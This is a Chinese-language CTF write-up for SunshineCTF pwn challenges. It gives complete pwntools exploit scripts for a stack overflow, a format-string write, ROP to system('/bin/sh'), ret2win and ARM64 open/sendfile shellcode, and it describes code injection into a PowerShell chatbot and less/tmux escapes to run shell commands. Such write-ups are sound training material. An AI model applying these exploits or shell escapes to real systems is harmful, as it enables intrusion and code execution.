i95#

这个方向都是栈 Pwn，很简单，直接 AK 了。

Miami#

Information#

Category: Pwn
Points: 100

Description#

Dexter is the prime suspect of being the Bay Harbor Butcher, we break into his login terminal and get the proof we need!

Write-up#

覆盖变量值即可。

Exploit#

1
#!/usr/bin/env python3
2

3
from pwn import (
4
    args,
5
    context,
6
    flat,
7
    process,
8
    raw_input,
9
    remote,
10
)
11

12

13
FILE = "./miami"
14
HOST, PORT = "chal.sunshinectf.games", 25601
15

16
context(log_level="debug", binary=FILE, terminal="kitty")
17

18
elf = context.binary
19

20

21
def launch():
22
    global target
23
    if args.L:
24
        target = process(FILE)
25
    else:
26
        target = remote(HOST, PORT)
27

28

29
def main():
30
    launch()
31

32
    payload = flat(
33
        b"A" * 0x4C,
34
        0x1337C0DE,
35
    )
36
    raw_input("DEBUG")
37
    target.sendlineafter(b"Enter Dexter's password: ", payload)
38

39
    target.interactive()
40

41

42
if __name__ == "__main__":
43
    main()

Flag#

sun{DeXtEr_was_!nnocent_Do4kEs_w4s_the_bAy_hRrb0ur_bu7cher_afterall!!}

Jupiter#

Information#

Category: Pwn
Points: 100

Description#

Jupiter just announced their new Brightline junction… the ECHO TERMINAL!!!

Write-up#

dprintf(2, (const char *)buf)，明显格式化字符串，改 secret_key == 322420958 即可，后两字节没问题，直接改高字节。

Exploit#

1
#!/usr/bin/env python3
2

3
from pwn import (
4
    ROP,
5
    args,
6
    context,
7
    flat,
8
    p64,
9
    process,
10
    raw_input,
11
    remote,
12
)
13

14
FILE = "./jupiter"
15
HOST, PORT = "chal.sunshinectf.games", 25607
16

17
context(log_level="debug", binary=FILE, terminal="kitty")
18

19
elf = context.binary
20
rop = ROP(elf)
21

22

23
def launch():
24
    global target
25
    if args.L:
26
        target = process(FILE)
27
    else:
28
        target = remote(HOST, PORT)
29

30

31
def main():
32
    launch()
33

34
    secret = 0x404010
35
    payload = flat(
36
        b"aaaaa%4914c%7$hn",
37
        p64(secret + 0x2),
38
    )
39
    raw_input("DEBUG")
40
    target.sendlineafter(b"Enter data at your own risk: ", payload)
41

42
    target.interactive()
43

44

45
if __name__ == "__main__":
46
    main()

Flag#

sun{F0rmat_str!ngs_4re_sup3r_pOwerFul_r1gh7??}

Canaveral#

Information#

Category: Pwn
Points: 100

Description#

NASA Mission Control needs your help… only YOU can enter the proper launch sequence!!

Write-up#

这题有点爆炸，一开始自己在 bss 上写 /bin/sh 字符串，远程老打不通，调试发现它会把我写的字符串清空……后来用程序自带的 /bin/sh 字符串地址就打通了，目前还没搞明白为什么自己写的不行，日后有空再研究。

Exploit - I#

1
#!/usr/bin/env python3
2

3
from pwn import (
4
    ROP,
5
    args,
6
    context,
7
    flat,
8
    process,
9
    raw_input,
10
    remote,
11
)
12

13

14
FILE = "./canaveral"
15
HOST, PORT = "chal.sunshinectf.games", 25603
16

17
context(log_level="debug", binary=FILE, terminal="kitty")
18

19
elf = context.binary
20
rop = ROP(elf)
21

22

23
def launch():
24
    global target
25
    if args.L:
26
        target = process(FILE)
27
    else:
28
        target = remote(HOST, PORT)
29

30

31
def main():
32
    launch()
33

34
    read = 0x401289
35
    system = 0x401218
36
    payload = flat(
37
        b"A" * 0x40,
38
        elf.bss() + 0xF00,
39
        read,
40
    )
41
    raw_input("DEBUG")
42
    target.sendlineafter("Enter the launch sequence: ", payload)
43

44
    payload = flat(
45
        b"A" * 0x38,
46
        next(elf.search(b"/bin/sh")),
47
        0x404F28,
48
        system,
49
    )
50
    target.sendline(payload)
51
    target.interactive()
52

53

54
if __name__ == "__main__":
55
    main()

Exploit - II#

下面是自己构造 /bin/sh 的成功版，我发现只要把自己构造的 /bin/sh 和调用 system 的 ROP Chain 写在相同的区域，libc 内部就会破坏 /bin/sh，那干脆试试写到别的地方去，比如这里写入到栈中（注意栈上也会因为重叠问题，导致部分输入被破坏，不过还是有没被破坏的地方可以用的）：

1
#!/usr/bin/env python3
2

3
from pwn import (
4
    ROP,
5
    args,
6
    context,
7
    flat,
8
    process,
9
    raw_input,
10
    remote,
11
)
12

13

14
FILE = "./canaveral"
15
HOST, PORT = "chal.sunshinectf.games", 25603
16

17
context(log_level="debug", binary=FILE, terminal="kitty")
18

19
elf = context.binary
20
rop = ROP(elf)
21

22

23
def launch():
24
    global target
25
    if args.L:
26
        target = process(FILE)
27
    else:
28
        target = remote(HOST, PORT)
29

30

31
def main():
32
    launch()
33

34
    read = 0x401289
35
    system = 0x401218
36
    payload = flat(
37
        b"A" * 0x18,
38
        b"/bin/sh\x00",
39
        b"A" * 0x20,
40
        elf.bss() + 0xF00,
41
        read,
42
    )
43
    raw_input("DEBUG")
44
    target.sendlineafter("Enter the launch sequence: ", payload)
45
    target.recvuntil(b"prize: ")
46
    stack = int(target.recvline().strip(), 16)
47
    binsh = stack + 0x18
48
    target.success(hex(stack))
49

50
    payload = flat(
51
        b"A" * 0x38,
52
        binsh,
53
        0x404F28,
54
        system,
55
    )
56
    target.sendline(payload)
57
    target.interactive()
58

59

60
if __name__ == "__main__":
61
    main()

Flag#

sun{D!d_y0u_s3e_thE_IM4P_spAce_laUncH??}

Jacksonville#

Information#

Category: Pwn
Points: 100

Description#

The Jacksonville Jaguars are having a rough season, let’s cheer them on!!

Write-up#

First Blood! 没难度，就是平台在开玩笑，拿到 flag 了提交上去告诉我不对……然后我疯狂按提交按钮结果就成功了……

Exploit#

1
#!/usr/bin/env python3
2

3
from pwn import (
4
    ROP,
5
    args,
6
    context,
7
    flat,
8
    process,
9
    raw_input,
10
    remote,
11
)
12

13

14
FILE = "./jacksonville"
15
HOST, PORT = "chal.sunshinectf.games", 25602
16

17
context(log_level="debug", binary=FILE, terminal="kitty")
18

19
elf = context.binary
20
rop = ROP(elf)
21

22

23
def launch():
24
    global target
25
    if args.L:
26
        target = process(FILE)
27
    else:
28
        target = remote(HOST, PORT)
29

30

31
def main():
32
    launch()
33

34
    answer = b"aaaaaaJaguars\x00"
35
    length = len(answer)
36

37
    payload = flat(
38
        answer,
39
        b"A" * (0x68 - length),
40
        rop.ret.address,
41
        elf.sym["win"],
42
    )
43
    raw_input("DEBUG")
44
    target.sendlineafter(b"> ", payload)
45

46
    target.interactive()
47

48

49
if __name__ == "__main__":
50
    main()

Flag#

sun{D!d_y0u_s3e_thE_IM4P_spAce_laUncH??}

Daytona#

Information#

Category: Pwn
Points: 100

Description#

Cops don’t like it when you drive like you’re in the Daytona 500 :/

Write-up#

~~这可是我的第一次。~~

bro 第一次做（成） arm 架构 pwn，虽然最后还是自己提供思路，让 AI 写的 shellcode……嗯，这次不算数～

一开始直接 shellcraft 打 execve，结果本地通了远程不行，后来试了下换成 ORW，还是本地可以，远程不行……最后才知道，ARM 架构的 CPU 通常有分离的数据缓存 (D-Cache) 和指令缓存 (I-Cache)，我们写入 shellcode 的而时候数据先进入 D-Cache，跳转到这段代码时，CPU 还是会继续从 I-Cache 中读取指令。如果 CPU 流水线和 I-Cache 中仍然存有这段内存地址上的旧代码，它就会执行错误的代码，所以我远程打不通。本地能通是因为 QEMU 通常会自动处理缓存同步问题。

解决方法是使用一个叫做 Cache Invalidation Gadget 的东西，手动刷新流水线：

dc：清理 D-Cache，将新写入的 shellcode 推送到主存
ic + isb：清理 I-Cache 和 CPU 流水线，强制 CPU 从内存中加载新写入的 shellcode，从而保证 shellcode 能够正确执行

得抽空去学一下其它架构的指令集了，不然真不行，这是我最近碰到的第二个 arm pwn 了。

Exploit#

1
#!/usr/bin/env python3
2

3
from pwn import (
4
    args,
5
    asm,
6
    context,
7
    flat,
8
    process,
9
    raw_input,
10
    remote,
11
    shellcraft,
12
)
13

14

15
FILE = "./daytona"
16
HOST, PORT = "chal.sunshinectf.games", 25606
17

18
context(log_level="debug", binary=FILE, terminal="kitty")
19

20
elf = context.binary
21

22

23
def launch():
24
    global target
25
    if args.L:
26
        # target = process(["qemu-aarch64", "-g", "1234", FILE])
27
        target = process(["qemu-aarch64", FILE])
28
    else:
29
        target = remote(HOST, PORT)
30

31

32
def main():
33
    launch()
34

35
    target.recvuntil(b"The cops said I was going ")
36
    stack = int(target.recvuntil(b" ").strip(), 10) + 117
37
    target.success(f"stack: {hex(stack)}")
38

39
    # shellcode = asm(shellcraft.execve("/bin/sh", 0, 0))
40
    # shellcode = shellcraft.open("flag.txt", 0, 0)
41
    # shellcode += shellcraft.sendfile(1, "x0", 0, 0x1000)
42

43
    shellcode = asm("""
44
        // cache invalidation gadget
45
        adr x9, orw
46
        dc cvau, x9
47
        add x10, x9, #0x40
48
        dc cvau, x10
49
        dsb ish
50
        ic ivau, x9
51
        ic ivau, x10
52
        dsb ish
53
        isb
54

55
    orw:
56
        // openat(dfd=AT_FDCWD, filename="flag.txt", flags=0, mode=0)
57
        // AT_FDCWD = 0xFFFFFFFFFFFFFF9C (-100)
58
        mov x0, #-100
59
        adr x1, filename
60
        mov x2, #0
61
        mov x3, #0
62
        mov x8, #56
63
        svc #0
64

65
        // sendfile(out_fd=1, in_fd=X0, offset=0, count=0x1000)
66
        mov x1, x0
67
        mov x0, #1
68
        mov x2, #0
69
        mov x3, #0x100
70
        mov x8, #71
71
        svc #0
72

73
    filename:
74
        .ascii "flag.txt\\x00"
75
    """)
76

77
    length = len(shellcode)
78
    target.warn(f"shellcode length: {hex(length)}")
79

80
    payload = flat(
81
        b"A" * 0x48,
82
        stack + 0x48 + 0x8,
83
        shellcode,
84
    )
85
    raw_input("DEBUG")
86
    target.sendlineafter(b"What do I tell them??", payload)
87

88
    target.interactive()
89

90

91
if __name__ == "__main__":
92
    main()

Exploit#

sun{ARM64_shEl1c0de_!s_pr3ttY_n3a7_dOnT_y0u_thInk?}

Pwn#

这个方向真的是 Pwn 吗，怎么题目都那么奇怪？？

HAL9000 是一道贼恶心的 mov obfuscated 的题，demovfuscator 了以后和原先也区别不大，还是一堆 mov 指令，坐牢啊……

Space Is Less Than Ideal 和 Space Is My Banner 感觉这两道更像 Misc，与 Pwn 一点关系都没有……

AstroJIT AI 是代码审计吧，也和 Pwn 没关系啊……

唯一一个 heap 我还因为没怎么学过堆，做不来……

Clone Army 没细看，后面有空复现吧。

AstroJIT AI#

Information#

Category: Pwn
Points: 500

Description#

AstroJIT AI, your new general-purpose chatbot for the future!

Write-up#

测试格式化字符串，报错：

问 AI，可以注入代码，直接用 { int.Parse(System.IO.File.ReadAllText("flag.txt")), 0, 0 }，由于 flag 内容不是整数，报错信息直接把 flag 输出了。

Weights: { int.Parse(System.IO.File.ReadAllText("flag.txt")), 0, 0 }
{ int.Parse(System.IO.File.ReadAllText("flag.txt")), 0, 0 }
MethodInvocationException: /app/evil_corp_ai.ps1:424
Line |
 424 |              $weights = [Two.Second.Scholars.Mass.And.Partialities.Wei …
     |              ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
     | Exception calling "CalculatePrecompiledWeights" with "0" argument(s):
     | "The input string
     | 'sun{evil-corp-one-uprising-at-a-time-folks-may-be-evil-but-do-not-get-burnt-out-just-burn-the-building-down-before-you-go-we-need-the-insurance-money} ' was not in a correct format."

Flag#

sun{evil-corp-one-uprising-at-a-time-folks-may-be-evil-but-do-not-get-burnt-out-just-burn-the-building-down-before-you-go-we-need-the-insurance-money}

Space Is Less Than Ideal#

Information#

Category: Pwn
Points: 500

Description#

I think i did a thing. I may have accessed a satellite. I can access the logs anyhow. I can’t seem to access anything else. I know I’ve seen that type of log viewer before, but something seems… different… about it. Well you know the expression. Less is more!

Write-up#

less 逃逸，调教 AI 就好了。先输入 ma 设置 mark，然后输入 |a 就可以执行指令。ls 发现有 cat-flag，重复上面的步骤调用这个程序就好了。

另外，刚开始测试 !command 发现没有用，但是可以看到后台指令执行结果，所以要看结果的时候可以通过这个方式查看。

Flag#

sun{less-is-more-no-really-it-is-just-a-symbolic-link}

Information#

Category: Pwn
Points: 500

Description#

I did it again. This time I’m sure I accessed a satellite. I’m scared, it’s giving me a warning message when I log in. I think this time I may have gone too far… this seems to be some top security stuff…

Write-up#

这次是 tmux 逃逸，在 Security Prompt 中按 Ctrl-B 然后输入 : 就可以输入一些内置 tmux 指令了，直接用核武 :run-shell "ls -al" 然后 :run-shell "./cat-flag"。

Flag#

sun{wait-wait-wait-you-cannot-hack-me-you-agreed-to-not-do-that-that-is-not}

i95#

Miami#

Information#

Description#

Write-up#

Exploit#

Flag#

Jupiter#

Information#

Description#

Write-up#

Exploit#

Flag#

Canaveral#

Information#

Description#

Write-up#

Exploit - I#

Exploit - II#

Flag#

Jacksonville#

Information#

Description#

Write-up#

Exploit#

Flag#

Daytona#

Information#

Description#

Write-up#

Exploit#

Exploit#

Pwn#

AstroJIT AI#

Information#

Description#

Write-up#

Flag#

Space Is Less Than Ideal#

Information#

Description#

Write-up#

Flag#

Space Is My Banner#

Information#

Description#

Write-up#

Flag#